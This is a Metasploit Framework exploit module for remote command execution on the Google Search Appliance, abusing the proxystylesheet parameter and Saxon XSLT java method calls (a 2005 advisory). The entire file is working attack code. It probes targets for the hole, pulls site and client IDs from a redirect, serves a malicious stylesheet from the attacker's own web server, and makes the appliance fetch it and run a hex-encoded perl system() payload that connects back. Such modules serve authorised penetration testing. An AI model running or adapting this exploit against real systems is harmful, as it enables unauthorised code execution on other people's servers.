## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Google Appliance ProxyStyleSheet Command Execution', 'Description' => %q{ This module exploits a feature in the Saxon XSLT parser used by the Google Search Appliance. This feature allows for arbitrary java methods to be called. Google released a patch and advisory to their client base in August of 2005 (GA-2005-08-m). The target appliance must be able to connect back to your machine for this exploit to work. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['OSVDB', '20981'], ['BID', '15509'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 4000, }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Aug 16 2005', 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultTarget' => 0)) end # Handle incoming requests from the appliance def on_request_uri(cli, request) print_status("Handling new incoming HTTP request...") path = File.join(Msf::Config.install_root, "data", "exploits", "google_proxystylesheet.xml") fd = File.open(path, "r") data = fd.read fd.close exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))' data.gsub!(/:x:MSF:x:/, exec_str) send_response(cli, data) end def check res = send_request_cgi({ 'uri' => '/search', 'vars_get' => { 'client' => rand_text_alpha(rand(15)+1), 'site' => rand_text_alpha(rand(15)+1), 'output' => 'xml_no_dtd', 'q' => rand_text_alpha(rand(15)+1), 'proxystylesheet' => 'http://' + rand_text_alpha(rand(15)+1) + '/' } }, 10) if (res and res.body =~ /cannot be resolved to an ip address/) print_status("This system appears to be vulnerable") return Exploit::CheckCode::Vulnerable end if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/) print_status("This system appears to be patched") end print_status("This system is not exploitable") return Exploit::CheckCode::Safe end def exploit print_status("Obtaining the appliance site and client IDs...") # Send a HTTP/1.0 request to learn the site configuration res = send_request_raw({ 'uri' => '/', 'version' => '1.0' }, 10) if (not (res and res['location'] and res['location'] =~ /site=/)) print_status("Could not read the location header: #{res.code} #{res.message}") return end m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im) if (not (m and m[1] and m[2])) print_status("Invalid location header: #{res['location']}") return end print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...") start_service print_status("Requesting a search using our custom XSLT...") res = send_request_cgi({ 'uri' => '/search', 'vars_get' => { 'client' => m[2], 'site' => m[1], 'output' => 'xml_no_dtd', 'q' => rand_text_alpha(rand(15)+1), 'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml", 'proxyreload' => '1' } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") print_status("Waiting on the payload to execute...") sleep(20) else print_status("No response from the server") end print_status("Shutting down the web service...") stop_service end end